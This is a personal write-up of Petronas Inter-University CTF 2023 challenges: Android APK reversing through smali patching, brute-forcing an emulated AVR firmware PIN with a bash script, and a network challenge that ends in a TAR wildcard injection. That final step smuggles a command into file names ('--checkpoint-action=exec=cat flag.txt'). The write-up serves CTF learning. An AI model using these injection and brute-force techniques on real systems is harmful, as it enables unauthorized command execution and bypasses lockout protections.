How to Win A CTF by Overcomplicating Things

My unnecessary long writeups for Petronas Inter-University CTF 2023

Step 1: Find very good teammates

Let them do all the work.

Step 2: Spend the whole competition looking for unintended solution

Act busy by going the long way to solve challenges with unintended solutions.

Qualifiers

ReverseMe (Android Reversing)

In the first Android Reversing challenge, we were given the file myapps.apk, which can be decompiled with apktools or decompiler.com.

┌──(kali💀JesusCries)-[~/Desktop/CTF/Petronas CTF 2023/Reverse]
└─$ apktool d myapps.apk            
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
I: Using Apktool 2.7.0-dirty on myapps.apk
I: Loading resource table...
I: Decoding AndroidManifest.xml with resources...
I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk
I: Sparse type flags detected: style
I: Sparse type flags detected: string
I: Sparse type flags detected: id
I: Regular manifest package...
I: Decoding file-resources...
I: Decoding values */* XMLs...
I: Baksmaling classes.dex...
I: Baksmaling classes3.dex...
I: Baksmaling classes2.dex...
I: Baksmaling classes4.dex...
I: Baksmaling classes5.dex...
I: Copying assets and libs...
I: Copying unknown files...
I: Copying original files...
I: Copying META-INF/services directory

Intended Solution

To get the flag the easy way, perform a simple recursive grep.

┌──(kali💀JesusCries)-[~/…/CTF/Petronas CTF 2023/Reverse/myapps]
└─$ grep -rni "petgrad2023"
res/values/strings.xml:40:    <string name="flag">{PETGRAD2023}_S1mPl3Fl4g</string>

Unintended Solution

To make my life easier, I decided to install the package on a Pixel 5 emulator using Android Studio to interact with the Android application.

C:\Users\Wesley\Downloads>adb devices
* daemon not running; starting now at tcp:5037
* daemon started successfully
List of devices attached
emulator-5554   offline

C:\Users\Wesley\Downloads>adb install myapps.apk
Performing Streamed Install
Success

Overall, the application presents an event handler that loads the flag in the background when the button is pressed.

Taking a look at the source code, the flag is used in the displayFlagStatus method to calculate its length, but was never printed out on the application interface.

A novel method to leak the flag is by patching the application's Dalvik bytecode. The assembly representation of displayFlagStatus is a relatively big chunk, but our main interest is only .param p1:

To retrieve the flag during runtime, we'll make use of the PrintStream object from Java's IO class. The remaining portion of the code can then be discarded safely.

.method private final displayFlagStatus(Ljava/lang/String;)V
    .registers 2         # 2 registers: v0, v1
    sget-object v0, Ljava/lang/System;->out:Ljava/io/PrintStream;
    .param p1, "flag"    # Ljava/lang/String;
    invoke-virtual {v0,p1}, Ljava/io/PrintStream;->println(Ljava/lang/String;)V
    return-void
.end method

Once the changes have been made, we can recompile the application using APKLab, and re-install it on the emulator with adb.

Up until this point, we're still missing 1 crucial step. Think about it; we are printing the flag to the console, but there's no direct access to the terminal via the application's interface. To overcome this, we can use adb logcat to dump system logs, which include messages written from our application's code.

This is actually one of the common pitfalls in mobile development dubbed "Insecure Logging", whereby sensitive information logged in a staging environment is shipped to production.

Flag: {PETGRAD2023}_S1mPl3Fl4g

GetMeCorrect (Android Reversing)

We have yet another Android Reversing challenge with the given file dynamic.apk. As usual, we'll decompile the application to look at some point of interest.

It appears that the flag is constructed part-by-part with a string builder during runtime, with part 3 derived from unknown native libraries.

public void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.activity_main);
    String str = LiveLiterals$MainActivityKt.INSTANCE.m3String$valpart1$funonCreate$classMainActivity() + LiveLiterals$MainActivityKt.INSTANCE.m4String$valpart2$funonCreate$classMainActivity() + getNativeFlagPart() + LiveLiterals$MainActivityKt.INSTANCE.m5String$valpart4$funonCreate$classMainActivity();
    ((Button) findViewById(R.id.btnRevealFlag)).setOnClickListener(new MainActivity$$ExternalSyntheticLambda0(this));
}

Intended Solution

Part 1, 2, and 4 of the flag is visible directly from LiveLiterals$MainActivityKt.java:

Since part 3 is derived from native libraries, a simple strings command on the decompiled library should reveal it. Putting everything together would then give us the complete flag.

┌──(kali💀JesusCries)-[~/…/Reverse/dynamic/lib/x86]
└─$ strings libdynamicflagchallenge.so 
Android
r25b
8937393
__cxa_finalize
__cxa_atexit
__register_atfork
Java_com_example_dynamicflagchallenge_MainActivity_getNativeFlagPart
_ZN7_JNIEnv12NewStringUTFEPKc
libc.so
LIBC
libandroid.so
liblog.so
libm.so
libdl.so
libdynamicflagchallenge.so
_N3xu$_    # part 3
Android (8490178, based on r450784d) clang version 14.0.6 (https://android.googlesource.com/toolchain/llvm-project 4c603efb0cca074e9238af8b4106c30add4418f6)
Linker: LLD 14.0.6

Unintended Solution

After installation, the original APK file appears to be corrupted, which results in runtime error. Not entirely sure if this is by design or accidental, but we'll try to repair the APK so that it actually runs.

After several troubleshooting attempts, the following modifications on AndroidManifest.xml are required:

  • android:extractNativeLibs="false" -> android:extractNativeLibs="true"

  • android:theme="@style/Theme.DynamicFlagChallenge" -> android:theme="@style/Theme.AppCompat.Light"

Furthermore, the application seems to be loading the native library via the wrong file name. To fix this, I simply renamed libdynamicflagchallenge.so to libnativeFlagPart.so and recompile with APKLab.

After getting the application to run, we are greeted with a similar interface as the previous challenge.

The popup message Nice try! But you'll have to dig deeper is implemented through the Toast class whenever the button is pressed. Similar to the previous challenge, we'll tackle this challenge by patching Dalvik bytecode.

This time around, instead of printing the flag to a console terminal, we'll make use of the existing Toast class for the same purpose. The patched code is going to be slightly lengthy as we need to retrieve all 4 parts of the flags and concatenate them together to form the final flag.

.method private static final onCreate$lambda$0(Lcom/example/dynamicflagchallenge/MainActivity;Landroid/view/View;)V
    .locals 7
    .param p0, "this$0"    # Lcom/example/dynamicflagchallenge/MainActivity;
    .param p1, "it"    # Landroid/view/View;

    const-string v0, "this$0"

    invoke-static {p0, v0}, Lkotlin/jvm/internal/Intrinsics;->checkNotNullParameter(Ljava/lang/Object;Ljava/lang/String;)V

    .line 27
    move-object v0, p0

    check-cast v0, Landroid/content/Context;

    sget-object v1, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;

    invoke-virtual {v1}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$arg-1$call-makeText$$this$call-show$fun-$anonymous$$arg-0$call-setOnClickListener$fun-onCreate$class-MainActivity()Ljava/lang/String;

    move-result-object v1

    check-cast v1, Ljava/lang/CharSequence;

    const/4 v2, 0x1

    sget-object v3, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v3}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part1$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v3

    sget-object v4, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v4}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part2$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v4

    invoke-virtual {p0}, Lcom/example/dynamicflagchallenge/MainActivity;->getNativeFlagPart()Ljava/lang/String;
    move-result-object v5

    sget-object v6, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->INSTANCE:Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;
    invoke-virtual {v6}, Lcom/example/dynamicflagchallenge/LiveLiterals$MainActivityKt;->String$val-part4$fun-onCreate$class-MainActivity()Ljava/lang/String;
    move-result-object v6

    new-instance v7, Ljava/lang/StringBuilder;
    invoke-direct {v7}, Ljava/lang/StringBuilder;-><init>()V

    invoke-virtual {v7, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
    move-result-object v7

    invoke-virtual {v7}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
    move-result-object v7

    invoke-static {v0, v7, v2}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast;

    move-result-object v0

    invoke-virtual {v0}, Landroid/widget/Toast;->show()V

    .line 28
    return-void
.end method

Recompile the application and press the button to get the final flag!

Flag: petgrad2023{Qu@ntum_N3xu$_C0d3br3@k3r}

Finals

We’re Running Out of Time! (Firmware Reversing)

For this challenge, we were given an Atmel AVR firmware runningoutoftime2.hex in the Intel Hex format.

The aim is to derive the 5-digit PIN by any means and unlock the physical safe located in the middle of the room.

Unintended Solution

To emulate the firmware logic, I opted to use the following simavr components:

  • simduino to boot start the Arduino emulator.

  • picocom for serial input.

  • avr-gdb for debugging.

The physical safe itself has a lockout policy to prevent brute forcing during the CTF. However, the firmware binary does not contain this constraint when emulated with simavr. As shown above, simduino exposes /dev/pts/3 for serial input and /dev/pts/4 for serial output. This presents a perfect opportunity for us to brute force the PIN as there are only 99999 combinations to try.

We can automate this whole process using input & output redirection magic in bash.

brute.sh
#!/bin/bash

_STDIN="/dev/pts/3"
_STDOUT="/dev/pts/4"
_LOG="/tmp/runningoutoftime.log"
current_guess=0

if [ -f "$_LOG" ];
then 
    rm "$_LOG"
fi 

# /dev/pts/4 is a continous data stream, we have to background this with &
cat "$_STDOUT" >> "$_LOG" &

while [ $current_guess -le 99999 ]; do
  # Format the current guess as a 5-digit PIN with leading zeros
  current_guess_formatted=$(printf "%05d" $current_guess)

  # Send the current guess to the serial input
  echo "Currently guessing: $current_guess_formatted"
  echo "$current_guess_formatted" > "$_STDIN"

  # Wait for the specified delay
  usleep 300000

  # Monitor the response from the serial output
  response=$(tail -n 3 "$_LOG")

  if [[ "$response" != *"Incorrect"* ]]; then
      echo "Correct PIN found: $current_guess_formatted"
      break
  fi

  # Increment the current guess
  current_guess=$((current_guess + 1))

  # Wait for the specified delay
  usleep 300000
done

Intended Solution

The AVR firmware provided initially did not contain any symbols, which makes debugging a little difficult. Near the end of the CTF, the author released the original ELF file that contains all the debugging symbols.

┌──(kali💀JesusCries)-[~/Desktop]
└─$ file runningoutoftime     
runningoutoftime: ELF 32-bit LSB executable, Atmel AVR 8-bit, version 1 (SYSV), statically linked, with debug_info, not stripped

Disassembling dbg.main under Radare2 reveals an interesting loop of comparison statements where our input PIN is checked. Since the correct PIN is loaded into a couple of registers, a simple registers dump should give us the answer.

Enable OPCODE description with e asm.describe = true in Radare2.

Using GDB, place a breakpoint on the first brne instruction and dump all registers value with info registers. In this case, the correct PIN for each position is stored on the lower byte region; whereas our input is stored on the higher byte region.

PositionInputCorrect PIN

Pos 1 (r18-r19)

5

8

Pos 2 (r20-r21)

4

9

Pos 3 (r22-r23)

3

0

Pos 4 (r30-r31)

2

7

Pos 5 (r26-r27)

1

6

PIN: 89076

Intruding the Ominous Black Cube (Network)

This challenge is worth 700 points, making it the highest-score challenge (but not necessarily the hardest) throughout the entire CTF. To start off, we were given a relatively small packet capture file blackcube.pcap, containing only 295 packets to analyze.

Initial analysis reveals several endpoints /admin, /menu, /dashboard made to the web server on port 5000, but nothing too interesting, except for packet 205, which reveals a suspicious base64 encoded string.

Decoding the string gives us petronasgradctf:Whoistheg0dofCtf that looks like a set of credentials we could use somewhere else.

┌──(kali💀JesusCries)-[~]
└─$ echo "cGV0cm9uYXNncmFkY3RmOldob2lzdGhlZzBkb2ZDdGY=" | base64 -d
petronasgradctf:Whoistheg0dofCtf

Looking at the list of network access points, we were able to authenticate to a hidden network using the credentials above.

Later on, I was stuck at this challenge until a dead giveaway hint was released afterward.

The hint combined with a bunch of TCP retransmission confirmed that there's something to do with Port Knocking. Coincidentally, a topic that I've shared previously for a sharing session.

Now we'll have to find out the knock sequence by figuring out the timeline where the web server responded to our request on port 5000 after the TCP retransmission stream ends.

Sending the knock sequence is pretty straightforward. The flag -d 500 is used here to introduce delay between knocks, just in case the server receives them in the wrong order.

┌──(kali💀JesusCries)-[~]
└─$ knock -v 192.168.0.107 17613:tcp 22791:tcp 20882:tcp 51313:tcp -d 500
hitting tcp 192.168.0.107:17613
hitting tcp 192.168.0.107:22791
hitting tcp 192.168.0.107:20882
hitting tcp 192.168.0.107:51313

Navigating to port 5000, we can now access the web server which wasn't possible before.

Recall that the endpoint upload-page was found during PCAP analysis, and the subtle hints of TAR file made it obvious that we needed to exploit a TAR Wildcard Injection vulnerability. (From OSCP lol, which I took just a week before the CTF)

Prepare the payload as follows:

┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- --checkpoint=1

┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ touch -- "--checkpoint-action=exec=cat flag.txt"

┌──(kali💀JesusCries)-[~/Desktop/Blackcube/temp]
└─$ cd ..

┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tree                
.
└── temp
    ├── --checkpoint=1
    └── --checkpoint-action=exec=cat flag.txt
2 directories, 2 files
                                                                                                                                                                                                                                                            
┌──(kali💀JesusCries)-[~/Desktop/Blackcube]
└─$ tar -cf update.tar *

Finally, upload the tar file to receive the flag.

Flag: petgrad2023{7h3_B1@ck_cu83}

Step 3: Free-load the trophy

Last updated